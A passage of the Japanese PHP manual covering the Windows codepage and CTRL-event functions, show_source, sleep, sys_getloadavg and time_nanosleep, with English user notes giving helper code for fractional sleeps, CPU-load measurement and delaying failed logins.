If you wish to just remove excess whitespace from a string, see the example "Strip whitespace" in the preg_replace documentation (http://www.php.net/manual/en/function.preg-replace.php).
flconseil at yahoo dot fr 08-Jul-2006 08:57
Beware that this function uses the output buffering mechanism.

If you give a 'stream wrapped' path as argument, anything echoed by the stream wrapper during this call (e.g. trace messages) won't be displayed to the screen but will be inserted in php_strip_whitespace's result.

If you execute this stripped code later, it will display the messages which should have been output during php_strip_whitespace's execution !


文字列のコードページを別のものに変換する

  • ≪ php_strip_whitespace
  • sapi_windows_cp_get ≫
  • PHP Manual
  • その他の関数
  • 文字列のコードページを別のものに変換する

sapi_windows_cp_conv

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_conv — 文字列のコードページを別のものに変換する

説明

sapi_windows_cp_conv ( int|string $in_codepage , int|string $out_codepage , string $subject ) : string

文字列のコードページを別のものに変換します。

パラメータ

in_codepage

subject 文字列のコードページ。 コードページの名前、または識別子を指定します。

out_codepage

subject を文字列が変換されるコードページ。 コードページの名前、または識別子を指定します。

subject

変換する文字列。

返り値

out_codepage に変換された subject 文字列。 失敗した場合は null を返します。

エラー / 例外

この関数は、不正なコードページが与えられたり、 subject 文字列が in_codepage でなかった場合は、 E_WARNINGレベルの警告を発生させます。

参考

  • sapi_windows_cp_get() - 現在のコードページを取得する
  • iconv() - 文字列を指定した文字エンコーディングに変換する

User Contributed Notes

There are no user contributed notes for this page.


現在のコードページを取得する

  • ≪ sapi_windows_cp_conv
  • sapi_windows_cp_is_utf8 ≫
  • PHP Manual
  • その他の関数
  • 現在のコードページを取得する

sapi_windows_cp_get

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_get — 現在のコードページを取得する

説明

sapi_windows_cp_get ( string $kind = "" ) : int

現在のコードページを取得します。

パラメータ

kind

取得するオペレーティングシステムのコードページ: 'ansi' または 'oem' それ以外の値は、現在のプロセスのコードページを参照します。

返り値

コードページの識別子を返します。 kind が 'ansi' の場合、 オペレーティングシステムの、現在の ANSI コードページを返します。 kind が 'oem' の場合、 オペレーティングシステムの、現在の OEM コードページを返します。 それ以外の場合、現在のプロセスのコードページを返します。

参考

  • sapi_windows_cp_set() - 現在のプロセスのコードページを設定する

User Contributed Notes

There are no user contributed notes for this page.


コードページがUTF-8と互換性があるかを返す

  • ≪ sapi_windows_cp_get
  • sapi_windows_cp_set ≫
  • PHP Manual
  • その他の関数
  • コードページがUTF-8と互換性があるかを返す

sapi_windows_cp_is_utf8

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_is_utf8 — コードページがUTF-8と互換性があるかを返す

説明

sapi_windows_cp_is_utf8 ( ) : bool

現在のプロセスのコードページが UTF-8 と互換性があるかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のプロセスのコードページが UTF-8 と互換性があるかを返します。

参考

  • sapi_windows_cp_get() - 現在のコードページを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスのコードページを設定する

  • ≪ sapi_windows_cp_is_utf8
  • sapi_windows_generate_ctrl_event ≫
  • PHP Manual
  • その他の関数
  • 現在のプロセスのコードページを設定する

sapi_windows_cp_set

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_set — 現在のプロセスのコードページを設定する

説明

sapi_windows_cp_set ( int $cp ) : bool

現在のプロセスのコードページを設定します。

パラメータ

cp

コードページの識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • sapi_windows_cp_get() - 現在のコードページを取得する

User Contributed Notes

There are no user contributed notes for this page.


CTRLイベント を別プロセスに送信する

  • ≪ sapi_windows_cp_set
  • sapi_windows_set_ctrl_handler ≫
  • PHP Manual
  • その他の関数
  • CTRLイベント を別プロセスに送信する

sapi_windows_generate_ctrl_event

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_generate_ctrl_event — CTRLイベント を別プロセスに送信する

説明

sapi_windows_generate_ctrl_event ( int $event , int $pid = 0 ) : bool

同じプロセスグループの別プロセスに CTRLイベント を送信する。

パラメータ

event

送信する CTRL イベント: PHP_WINDOWS_EVENT_CTRL_C または PHP_WINDOWS_EVENT_CTRL_BREAK

pid

イベントを送信するプロセスID。 0 に設定すると、プロセスグループに属する 全てのプロセスにイベントが送信されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sapi_windows_generate_ctrl_event() 関数の基本的な使い方

以下の例は、 CTRL+BREAK イベントを子プロセスに送信する方法を示しています。 この場合、ユーザーが CTRL+BREAK を押すまで、 子プロセスは I'm still alive を1秒ごとに表示します。 CTRL+BREAK は、子プロセスのみを終了させます。

<?php
// CTRL+BREAK イベントを子プロセスに送信する
sapi_windows_set_ctrl_handler('sapi_windows_generate_ctrl_event');

// 1秒ごとに echo する子プロセスを生成
$cmd = ['php', '-r', 'while (true) { echo "I\'m still alive\n"; sleep(1); }'];
$descspec = array(['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']);
$options = ['create_process_group' => true];
$proc = proc_open($cmd, $descspec, $pipes, null, null, $options);
while (true) {
    echo fgets($pipes[1]);
}
?>

参考

  • proc_open() - コマンドを実行し、入出力用にファイルポインタを開く
  • sapi_windows_set_ctrl_handler() - CTRLイベント のハンドラを設定したり削除したりする

User Contributed Notes

There are no user contributed notes for this page.


CTRLイベント のハンドラを設定したり削除したりする

  • ≪ sapi_windows_generate_ctrl_event
  • sapi_windows_vt100_support ≫
  • PHP Manual
  • その他の関数
  • CTRLイベント のハンドラを設定したり削除したりする

sapi_windows_set_ctrl_handler

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_set_ctrl_handler — CTRLイベント のハンドラを設定したり削除したりする

説明

sapi_windows_set_ctrl_handler ( callable $callable , bool $add = true ) : bool

CTRL イベントのハンドラを設定したり削除したりします。 これによって、Windows の CLI プロセスが、 CTRL+C や CTRL+BREAK イベントに割り込んだり、無視したり出来るようになります。 マルチスレッド環境では、この操作はメインスレッドからのみ可能です。

パラメータ

callable

設定したり削除したりするコールバック関数。 設定した場合、この関数は CTRL+C または CTRL+BREAK イベントが発生した場合にいつでも呼び出されます。 関数のシグネチャは次のとおりです:

handler ( int $event ) : void
event
受け取った CTRL イベント; PHP_WINDOWS_EVENT_CTRL_C または PHP_WINDOWS_EVENT_CTRL_BREAK
null を callable に設定すると、 CTRL+Cイベント をプロセスに無視させますが、 CTRL+BREAK イベントは無視しません。

add

true に設定し、ハンドラを設定します。 false の場合、ハンドラは削除されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 基本的な sapi_windows_set_ctrl_handler() 関数の使い方

以下の例は、 CTRLイベント にどのように割り込むかを示しています。

<?php
function ctrl_handler(int $event)
{
    switch ($event) {
        case PHP_WINDOWS_EVENT_CTRL_C:
            echo "You have pressed CTRL+C\n";
            break;
        case PHP_WINDOWS_EVENT_CTRL_BREAK:
            echo "You have pressed CTRL+BREAK\n";
            break;
    }
}

sapi_windows_set_ctrl_handler('ctrl_handler');
while (true); // ハンドラがトリガできるように無限ループにする
?>

参考

  • sapi_windows_generate_ctrl_event() - CTRLイベント を別プロセスに送信する

User Contributed Notes

There are no user contributed notes for this page.


Windows コンソールの出力バッファに関連付けられたストリームのVT100サポート状況を取得/設定する

  • ≪ sapi_windows_set_ctrl_handler
  • show_source ≫
  • PHP Manual
  • その他の関数
  • Windows コンソールの出力バッファに関連付けられたストリームのVT100サポート状況を取得/設定する

sapi_windows_vt100_support

(PHP 7 >= 7.2.0, PHP 8)

sapi_windows_vt100_support — Windows コンソールの出力バッファに関連付けられたストリームのVT100サポート状況を取得/設定する

説明

sapi_windows_vt100_support ( resource $stream , bool $enable = ? ) : bool

enable が省略されると、 この関数は stream の VT100 制御コードが有効になっている場合に true を返します。 無効になっている場合 false を返します。

enable が指定されると、 この関数は stream の VT100 の機能を 有効/無効 にしようとします。 VT100 の機能が無事有効(または無効)にできた場合、この関数は true を返します。 失敗した場合 false を返します。

起動時に、PHP は STDOUT/STDERR の VT100 の機能を有効にしようとします。これらのストリームがファイルにリダイレクトされると、VT100 の機能は有効にならないかもしれません。

VT100 のサポートが有効な場合、VT100 のターミナルで有効な制御シーケンスが使えます。 これによって、ターミナルの出力を変更できます。Windows では、 これらの制御シーケンスは Console Virtual Terminal Sequence と呼ばれています。

警告

この関数は、Windows 10 API で実装されている ENABLE_VIRTUAL_TERMINAL_PROCESSING フラグを使います。 よって、古いWindowsバージョンでは VT100の機能は有効にならないかもしれません。

パラメータ

stream

この関数で操作するストリーム

enable

この値が指定されると、(true の場合) VT100の機能が有効になり、 (false の場合) 無効になります。

返り値

enable が省略されると、 VT100 の機能が有効になっている場合に true を返します。 無効になっている場合 false を返します。

enable が指定されると、成功した場合に true を、失敗した場合に false を返します。

例

例1 sapi_windows_vt100_support() でデフォルトの状態を出力する

デフォルトでは、 STDOUT / STDERR で VT100 の機能が有効になっています。

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));"

上の例の出力は、 たとえば以下のようになります。

true true

ストリームがリダイレクトされた場合、 VT100 の機能は有効になりません。

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));" 2>NUL

上の例の出力は、 たとえば以下のようになります。

true false

例2 sapi_windows_vt100_support() で状態を変更する

ストリームがリダイレクトされた場合、 STDOUT や STDERR のVT100の機能は有効にできません。

php -r "var_export(sapi_windows_vt100_support(STDOUT, true));echo ' ';var_export(sapi_windows_vt100_support(STDERR, true));" 2>NUL

上の例の出力は、 たとえば以下のようになります。

true false

例3 VT100 のサポートを有効にする例

<?php
$out = fopen('php://stdout','w');
fwrite($out, 'Just forgot a lettr.');
// カーソルを2文字分左に移動
fwrite($out, "\033[2D");
// 空白をひとつ分挿入し、既存のテキストを右に移動させる -> Just forgot a lett r.
fwrite($out, "\033[1@");
fwrite($out, 'e');
?>

上の例の出力は以下となります。

Just forgot a letter.

User Contributed Notes

There are no user contributed notes for this page.


highlight_file のエイリアス

  • ≪ sapi_windows_vt100_support
  • sleep ≫
  • PHP Manual
  • その他の関数
  • highlight_file のエイリアス

show_source

(PHP 4, PHP 5, PHP 7, PHP 8)

show_source — highlight_file() のエイリアス

説明

この関数は次の関数のエイリアスです。 highlight_file().

User Contributed Notes

manimjs at gmail dot com 25-Jul-2019 07:01
//transcript.php contain some php script. Ex:
<?php
     echo "How tp use show_source()";
?>

Usage:
<?php
$source = show_source("transcript.php", true);
print $source;

?>

Output:
This is print the source of the
------------------------------------
<?php
    echo "How tp use show_source()";
?>


実行を遅延させる

  • ≪ show_source
  • sys_getloadavg ≫
  • PHP Manual
  • その他の関数
  • 実行を遅延させる

sleep

(PHP 4, PHP 5, PHP 7, PHP 8)

sleep — 実行を遅延させる

説明

sleep ( int $seconds ) : int

seconds で与えられた秒数分プログラムの実行を遅延させます。

パラメータ

seconds

秒単位の停止時間。

返り値

成功した場合にゼロ、エラーが発生した場合に false を返します。

シグナルで中断した場合、sleep() はゼロ以外の値を返します。 Windows では、この値は常に 192 (Windows API の定数 WAIT_IO_COMPLETION の値) です。 その他のプラットフォームでは、残りの遅延秒数を返します。

エラー / 例外

指定した秒数 seconds が負の場合、 この関数は E_WARNING を発生させます。

例

例1 sleep() の例

<?php

// 現在の時刻
echo date('h:i:s') . "\n";

// 10 秒間遅延させる
sleep(10);

// 再開!
echo date('h:i:s') . "\n";

?>

この例の（10 秒後の）出力は以下のようになります。

05:31:23
05:31:33

参考

  • usleep() - マイクロ秒単位で実行を遅延する
  • time_nanosleep() - 秒およびナノ秒単位で実行を遅延する
  • time_sleep_until() - 指定した時刻まで実行を遅延する
  • set_time_limit() - 実行時間の最大値を制限する

User Contributed Notes

Anonymous 17-Jun-2018 10:18
Diego Andrade's msleep function is not compatible with php7's `strict_types`, cast the usleep parameter to int, and it will be,
 usleep((int)($time * 1000000));
sergio at inbep dot com dot br 26-Apr-2016 05:27
To use float or int numbers

function pause($seconds)
{
    usleep($seconds * 1000000);
}

pause(0.25);
Diego Andrade 13-Jan-2016 06:29
Maybe obvious, but this my function to delay script execution using decimals for seconds (to mimic sleep(1.5) for example):

<?php
/**
 * Delays execution of the script by the given time.
 * @param mixed $time Time to pause script execution. Can be expressed
 * as an integer or a decimal.
 * @example msleep(1.5); // delay for 1.5 seconds
 * @example msleep(.1); // delay for 100 milliseconds
 */
function msleep($time)
{
    usleep($time * 1000000);
}
?>
ash b 13-Apr-2014 09:56
re: "mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute."

Not really - the attacker could do 100 requests. Each request might take 2 seconds but it doesn't stop the number of requests done. You need to stop processing more than one request every 2 seconds rather than delay it by 2 seconds on each execution.
Anonymous 10-Mar-2014 06:35
If you are having issues with sleep() and usleep() not responding as you feel they should, take a look at session_write_close()

as noted by anonymous on comments;
"If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall."
LVT 22-Sep-2013 04:13
Another reason for not to abuse sleep( ) is that along with the maximum of 30 sql connections, a shared hosting environment usually limits the number of processes to 20, if your website has many users online and you put sleep( ) everywhere in the code, your server will throw a 508 error (resource limit reached) and will stop serving your website.
LVT 15-Sep-2013 10:12
Always close your SQL connection and free the memory before using sleep( ) or you will be needlessly holding a SQL connection for [xx] seconds, remember that a shared hosting environment only allows max 30 SQL connections at the same time.
joshmeister at gmail dot com 16-Oct-2012 10:51
Here is a simplified way to flush output to browser before completing sleep cycle.  Note the buffer must be "filled" with 4096 characters (bytes?) for ob_flush() to work before sleep() occurs.
<?php
 ob_implicit_flush(true);
 $buffer = str_repeat(" ", 4096);
 echo "see this immediately.<br>";
 echo $buffer;
 ob_flush();
 sleep(5);
 echo "some time has passed";
?>
barlow at fhtsolutions dot com 24-Sep-2011 06:33
You should put sleep into both the pass and fail branches, since an attacker can check whether the response is slow and use that as an indicator - cutting down the delay time. But a delay in both branches eliminates this possibility.
code {@} ashleyhunt [dot] co [dot] uk 30-Jul-2011 06:31
A really simple, but effective way of majorly slowing down bruit force attacks on wrong password attempts.

In my example below, if the end-user gets the password correct, they get to log in at full speed, as expected. For every incorrect password attempt, the users response is delayed by 2 seconds each time; mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute.

I hope this very simple approach will help make your web applications that little bit more secure.

Ashley

<?php
public function handle_login() {
    if($uid = user::check_password($_REQUEST['email'], $_REQUEST['password'])) {
        return self::authenticate_user($uid);
    }
    else {
        // delay failed output by 2 seconds
        // to prevent bruit force attacks
        sleep(2);
        return self::login_failed();
    }
}
?>
soulhunter1987 at post dot ru 18-Aug-2010 12:49
Since sleep() can be interrupted by signals i've made a function which can also be interrupted, but will continue sleeping after the signal arrived (and possibly was handled by callback). It's very useful when you write daemons and need sleep() function to work as long as you 'ordered', but have an ability to accept signals during sleeping.

<?php
function my_sleep($seconds)
{
    $start = microtime(true);
    for ($i = 1; $i <= $seconds; $i ++) {
        @time_sleep_until($start + $i);
    }
}
?>
toddjt78 at msn dot com 09-May-2010 07:39
Simple function to report the microtime since last called or the microtime since first called.

<?php
function stopWatch($total = false,$reset = true){
    global $first_called;
    global $last_called;
    $now_time = microtime(true);
    if ($last_called === null) {
        $last_called = $now_time;
        $first_called = $now_time;
    }
    if ($total) {
        $time_diff = $now_time - $first_called;
    } else {
        $time_diff = $now_time - $last_called;
    }
    if ($reset)
        $last_called = $now_time;
    return $time_diff;
}
?>

$reset  - if true, resets the last_called value to now
$total - if true, returns the time since first called otherwise returns the time since last called
jimmy at powerzone dot dk 06-Mar-2010 08:26
Notice that sleep() delays execution for the current session, not just the script. Consider the following sample, where two computers invoke the same script from a browser, which doesn't do anything but sleep.

PC 1 [started 14:00:00]: script.php?sleep=10 // Will stop after 10 secs
PC 1 [started 14:00:03]: script.php?sleep=0 // Will stop after 7 secs

PC 2 [started 14:00:05]: script.php?sleep=0 // Will stop immediately

http://php.net/session_write_close may be used to address this problem.
mohd at Bahrain dot Bz 16-Dec-2009 01:12
I hope this code will help somebody to solve the problem of not being able to flush or output the buffer to the browser (I use IE7).
It may work for you with just [ echo str_repeat(".", 4096); ] and without even using ob_... and flush.

<?php
ob_start();

ob_implicit_flush(true);
//[ OR ] echo "..."; ob_flush(); flush();

set_time_limit(0);

function sleep_echo($secs) {
    $secs = (int) $secs;
    $buffer = str_repeat(".", 4096);
    //echo $buffer."\r\n<br />\r\n";
    for ($i=0; $i<$secs; $i++) {
        echo date("H:i:s", time())." (".($i+1).")"."\r\n<br />\r\n".$buffer."\r\n<br />\r\n";
        ob_flush();
        flush();
        sleep(1);
        //usleep(1000000);
    }
}

sleep_echo(30);

ob_end_flush();
?>
f dot schima at ccgmbh dot de 10-Nov-2009 06:48
Remember that sleep() means "Let PHP time to do some other stuff".
That means that sleep() can be interrupted by signals. That is important if you work with pcntl_signal() and friends.
Anonymous 08-Feb-2009 12:32
This will allow you to use negative values or valuer below 1 second.

<?php slaap(0.5); ?>

<?php
function slaap($seconds)
{
    $seconds = abs($seconds);
    if ($seconds < 1):
       usleep($seconds*1000000);
    else:
       sleep($seconds);
    endif;
}
?>
webseos at gmail dot com 26-Aug-2008 09:29
This is a critical thing to use time delay function as sleep() Because a beginner can find that this is not working and he/she will see that all output appearing at a time.

A good way to implement this is by using the function -  ob_implicit_flush() then you don't need to use flush() function explicitly.

A sample code :
<?php
ob_implicit_flush(true);
for($i=0;$i<5;$i++)
{
$dis=<<<DIS
<div style="width:200px; background-color:lime;border:1px; text-align:center;text-decoration:blink;">
$i
</div>
DIS;
echo $dis;

sleep(5);
//flush();
}
marpetr at gmail dot com 17-Mar-2008 11:41
Very useful to prevent password brute forcing! Simply add few seconds timeout to login script and the probability to guess the password decreases a lot!
linus at flowingcreativity dot net 08-Jul-2005 08:07
This may seem obvious, but I thought I would save someone from something that just confused me: you cannot use sleep() to sleep for fractions of a second. This:

<?php sleep(0.25) ?>

will not work as expected. The 0.25 is cast to an integer, so this is equivalent to sleep(0). To sleep for a quarter of a second, use:

<?php usleep(250000) ?>
MPHH 05-Jul-2003 12:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
hartmut at six dot de 25-Aug-2000 06:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!


システムの平均負荷を取得する

  • ≪ sleep
  • time_nanosleep ≫
  • PHP Manual
  • その他の関数
  • システムの平均負荷を取得する

sys_getloadavg

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

sys_getloadavg — システムの平均負荷を取得する

説明

sys_getloadavg ( ) : array|false

過去 1、5、15 分間のシステムの平均負荷 (システムの実行キューの中のプロセス数) を表す三つの値を返します。

返り値

(過去 1、5、15 分間の) 三つの値を array で返します。 失敗した場合は false を返します。

例

例1 sys_getloadavg() の例

<?php
$load = sys_getloadavg();
if ($load[0] > 0.80) {
    header('HTTP/1.1 503 Too busy, try again later');
    die('Server too busy. Please try again later.');
}
?>

注意

注意: この関数は Windows 環境にはまだ実装されていません。

User Contributed Notes

wowabbs+php at gmail dot com 11-Dec-2020 03:02
<?php // Usage processor in Windows using FFI
  if(!dl("ffi")) // Load the extension
    throw new Exception('Cound not load the FFI extension.');

  function GetSystemTimes()
  {
    static $Kernel32;
    $Kernel32??=FFI::cdef(<<<'IDL'
      bool GetSystemTimes(long long *IdleTime, long long *KernelTime, long long *UserTime);
      int GetLastError();
    IDL, 'Kernel32.dll');

    $IdleTime   = FFI::new('long long');
    $KernelTime = FFI::new('long long'); // already has idle time
    $UserTime   = FFI::new('long long');

    if($Kernel32->GetSystemTimes(FFI::addr($IdleTime), FFI::addr($KernelTime), FFI::addr($UserTime)))
      return [
        'Idle'   =>$IdleTime   ->cdata,
        'Kernel' =>$KernelTime ->cdata, // already has idle time
        'User'   =>$UserTime   ->cdata,
      ];
    return [];
  }

  function GetSystemTimesDelta()
  {
    static $Last=null;
    static $Delta=[0,1];
    $Times=GetSystemTimes();
    $Last??=$Times;
    $Idle =$Times['Idle'   ]-$Last['Idle'   ];
    $All  =$Times['Kernel' ]-$Last['Kernel' ]+  // Kernel already has idle time
           $Times['User'   ]-$Last['User'   ];
    if($All>1_000_000) // 100ms
    {
      $Delta=[$Idle, $All];
      $Last=$Times;
    }
    return $Delta;
  }

  function ProcessorLoad()
  {
    static $Load=0;
    [$Idle, $All]=GetSystemTimesDelta();
    if($All>0.0)
      $Load=1-$Idle/$All;
    return $Load;
  }

  function KbHit()
  {
    Static $Sys;
    $Sys??=FFI::cdef('bool _kbhit();', 'msvcrt.dll');
    return $Sys->_kbhit();
  }

  while(!KbHit())
  {
    echo str_pad((string)round(ProcessorLoad()*100), 3, ' ', STR_PAD_LEFT), "%\n";
    sleep(1);
  }
?>
stanislav dot eckert at vizson dot de 18-Jan-2016 05:15
Function to get current CPU load as percentage value under Windows and Linux.

Note: Function is getServerLoad(). It will return a decimal value as percentage of current CPU load or NULL if something went wrong (e. g. insufficient access rights).

<?php

    header("Content-Type: text/plain");

    function _getServerLoadLinuxData()
    {
        if (is_readable("/proc/stat"))
        {
            $stats = @file_get_contents("/proc/stat");

            if ($stats !== false)
            {
                // Remove double spaces to make it easier to extract values with explode()
                $stats = preg_replace("/[[:blank:]]+/", " ", $stats);

                // Separate lines
                $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                $stats = explode("\n", $stats);

                // Separate values and find line for main CPU load
                foreach ($stats as $statLine)
                {
                    $statLineData = explode(" ", trim($statLine));

                    // Found!
                    if
                    (
                        (count($statLineData) >= 5) &&
                        ($statLineData[0] == "cpu")
                    )
                    {
                        return array(
                            $statLineData[1],
                            $statLineData[2],
                            $statLineData[3],
                            $statLineData[4],
                        );
                    }
                }
            }
        }

        return null;
    }

    // Returns server load in percent (just number, without percent sign)
    function getServerLoad()
    {
        $load = null;

        if (stristr(PHP_OS, "win"))
        {
            $cmd = "wmic cpu get loadpercentage /all";
            @exec($cmd, $output);

            if ($output)
            {
                foreach ($output as $line)
                {
                    if ($line && preg_match("/^[0-9]+\$/", $line))
                    {
                        $load = $line;
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/stat"))
            {
                // Collect 2 samples - each with 1 second period
                // See: https://de.wikipedia.org/wiki/Load#Der_Load_Average_auf_Unix-Systemen
                $statData1 = _getServerLoadLinuxData();
                sleep(1);
                $statData2 = _getServerLoadLinuxData();

                if
                (
                    (!is_null($statData1)) &&
                    (!is_null($statData2))
                )
                {
                    // Get difference
                    $statData2[0] -= $statData1[0];
                    $statData2[1] -= $statData1[1];
                    $statData2[2] -= $statData1[2];
                    $statData2[3] -= $statData1[3];

                    // Sum up the 4 values for User, Nice, System and Idle and calculate
                    // the percentage of idle time (which is part of the 4 values!)
                    $cpuTime = $statData2[0] + $statData2[1] + $statData2[2] + $statData2[3];

                    // Invert percentage to get CPU time, not idle time
                    $load = 100 - ($statData2[3] * 100 / $cpuTime);
                }
            }
        }

        return $load;
    }

    //----------------------------

    $cpuLoad = getServerLoad();
    if (is_null($cpuLoad)) {
        echo "CPU load not estimateable (maybe too old Windows or missing rights at Linux or Windows)";
    }
    else {
        echo $cpuLoad . "%";
    }

?>
kexianbin at diyism dot com 28-May-2014 10:35
Use this:
<?php
$loads=sys_getloadavg();
$core_nums=trim(shell_exec("grep -P '^physical id' /proc/cpuinfo|wc -l"));
$load=$loads[0]/$core_nums;
echo $load;
?>
vladvarna at gmail dot com 18-Jul-2012 02:51
You can emulate loadavg using this. Can also be used to get iowait

<?php
   function ProcStats()
   {
       $fp=fopen("/proc/stat","r");
       if(false===$fp)
               return false;
       $a=explode(' ',fgets($fp));
       array_shift($a); //get rid of 'cpu'
       while(!$a[0])
           array_shift($a); //get rid of ' '
       var_dump($a);
       fclose($fp);
       return $a;
   }

   $a=ProcStats();
   sleep(5);
   $b=ProcStats();

   $total=array_sum($b)-array_sum($a);

   $loadavg = round(100* (($b[0]+$b[1]+$b[2]) - ($a[0]+$a[1]+$a[2])) / $total, 2); // user+nice+system
   $iowait= round(100* ($b[4] - $a[4])/$total,2);

?>
rick at rctonline dot nl 24-Jan-2012 12:57
Here is another one that also works on windows. Note that this method is not fast, so be careful in the number of calls to this function.

<?php
function get_server_load() {

        if (stristr(PHP_OS, 'win')) {

            $wmi = new COM("Winmgmts://");
            $server = $wmi->execquery("SELECT LoadPercentage FROM Win32_Processor");

            $cpu_num = 0;
            $load_total = 0;

            foreach($server as $cpu){
                $cpu_num++;
                $load_total += $cpu->loadpercentage;
            }

            $load = round($load_total/$cpu_num);

        } else {

            $sys_load = sys_getloadavg();
            $load = $sys_load[0];

        }

        return (int) $load;

    }
?>
828586 at gmail dot com 12-Jun-2010 07:43
equivalent for windows
<?php
ob_start();
passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);
$content = ob_get_contents();
ob_end_clean();
if ($status === 0) {
    if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) {
        if ($load[1] > get_config('busy_error')) {
            header('HTTP/1.1 503 Too busy, try again later');
            die('Server too busy. Please try again later.');
        }
    }
}
?>
Anonymous 19-Nov-2009 12:14
To get just current load avg, you can do :

<?php
$output = shell_exec('cat /proc/loadavg');
$loadavg = substr($output,0,strpos($output," "));
?>
scott at corelevel dot com 27-Nov-2006 02:47
I was having a problem with a large script I need to run - was a loop through about 50,000 records and downloading several pictures for a bunch of them, and updating the database.

the problem came as I started getting visitors to my site, the server would get behind, run out of memory, iowait skyrockets, mysql slows down... was a total downhill spiral.

Use this to fix it.

$load = sys_getloadavg();
$sleep=5;
$maxload=2;
if ($load[0] > $maxload) {
       sleep($sleep);
    echo "Busy server - sleep $sleep seconds<br>";
}

I have to play with the load and the sleep number to find what worked for my script, but now my server does not bog at all.
surfchen at gmail dot com 06-Jul-2006 09:22
the codes below will provide this function for order versions of PHP.
if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}
tom pittlik 03-Mar-2006 02:36
The code below mimics the output of sys_getloadavg(). You may have to tweak the way the substring is captured for different distros.

<?php

function sys_getloadavg_hack()
{
    $str = substr(strrchr(shell_exec("uptime"),":"),1);
    $avs = array_map("trim",explode(",",$str));

    return $avs;
}

print_r(sys_getloadavg_hack());

// Array
// (
//     [0] => 6.24
//     [1] => 4.92
//     [2] => 3.99
// )

?>

This function is a neat way of running low priority or non-essential cron jobs on a busy server - if the load is high, don't continue with the task (and try again in a few minutes time).


秒およびナノ秒単位で実行を遅延する

  • ≪ sys_getloadavg
  • time_sleep_until ≫
  • PHP Manual
  • その他の関数
  • 秒およびナノ秒単位で実行を遅延する

time_nanosleep

(PHP 5, PHP 7, PHP 8)

time_nanosleep — 秒およびナノ秒単位で実行を遅延する

説明

time_nanosleep ( int $seconds , int $nanoseconds ) : array|bool

指定した seconds および nanoseconds の時間だけプログラムの実行を遅延させます。

パラメータ

seconds

非負の整数である必要があります。

nanoseconds

十億よりも小さい非負の整数である必要があります。

注意: Windows では、与えられたナノ秒以上に長くスリープする可能性があります。 動作はハードウェア依存です。

返り値

成功した場合に true を、失敗した場合に false を返します。

シグナルによって遅延処理が中断された場合、以下の要素からなる連想配列を返します。

  • seconds - 残りの秒数
  • nanoseconds - 残りのナノ秒数

例

例1 time_nanosleep() の例

<?php
// 注意! もし配列が返された場合、これはうまく動作しません
if (time_nanosleep(0, 500000000)) {
    echo "0.5 秒遅延しました。\n";
}

// こちらのほうがよいでしょう
if (time_nanosleep(0, 500000000) === true) {
    echo "0.5 秒遅延しました。\n";
}

// そしてこれが最良の方法です
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
    echo "2 秒と 100 マイクロ秒だけ遅延しました。\n";
} elseif ($nano === false) {
    echo "遅延に失敗しました。\n";
} elseif (is_array($nano)) {
    $seconds = $nano['seconds'];
    $nanoseconds = $nano['nanoseconds'];
    echo "シグナルによって中断しました。\n";
    echo "残りの秒数は $seconds 秒と $nanoseconds ナノ秒です。";
}
?>

参考

  • sleep() - 実行を遅延させる
  • usleep() - マイクロ秒単位で実行を遅延する
  • time_sleep_until() - 指定した時刻まで実行を遅延する
  • set_time_limit() - 実行時間の最大値を制限する

User Contributed Notes

b dot andrew at shaw dot ca 04-Jul-2008 09:10
A response to the note below:

Your function is also useless, as the WinNT 32 kernel only functions at a minimum of about 10+ ms (1,000 us), rendering usleep() useless, because usleep uses the C function which is provided by the system (in this case, kernel32.dll).

You'll want to use a function that does not rely on the kernel, but rather something made for precise measurement:

<?php
function usleep_win( $micro_seconds )
{
    if ( @function_exists( "socket_create" ) && @function_exists( "socket_select" ) )
    {
        $false = NULL;
        $socket = array( socket_create( AF_INET, SOCK_RAW, $false ) );
        socket_select( $false, $false, $socket, 0, $micro_seconds );
        return true;
    }
    else
    {
        return false;
    }
}
?>

This function will allow to you sleep for a specified microsecond, although I have measured it to be off by ~5 us.

Again, most of this depends on the hardware in your system. If you _REALLY_ need to be precise to < 10 us, you shouldn't be using WinNT anyways!
fantasysportswire at yahoo dot com 18-Dec-2006 03:27
Just glancing at this - and the note from over a year ago with a implementation for windows.. with 5.0.0 and higher it would be simplier to just do something like......

<?php

if (!function_exists('time_nanosleep')) {

function time_nanosleep($seconds, $nanoseconds) {

sleep($seconds);
usleep(round($nanoseconds/100));

return true;

}

}

?>

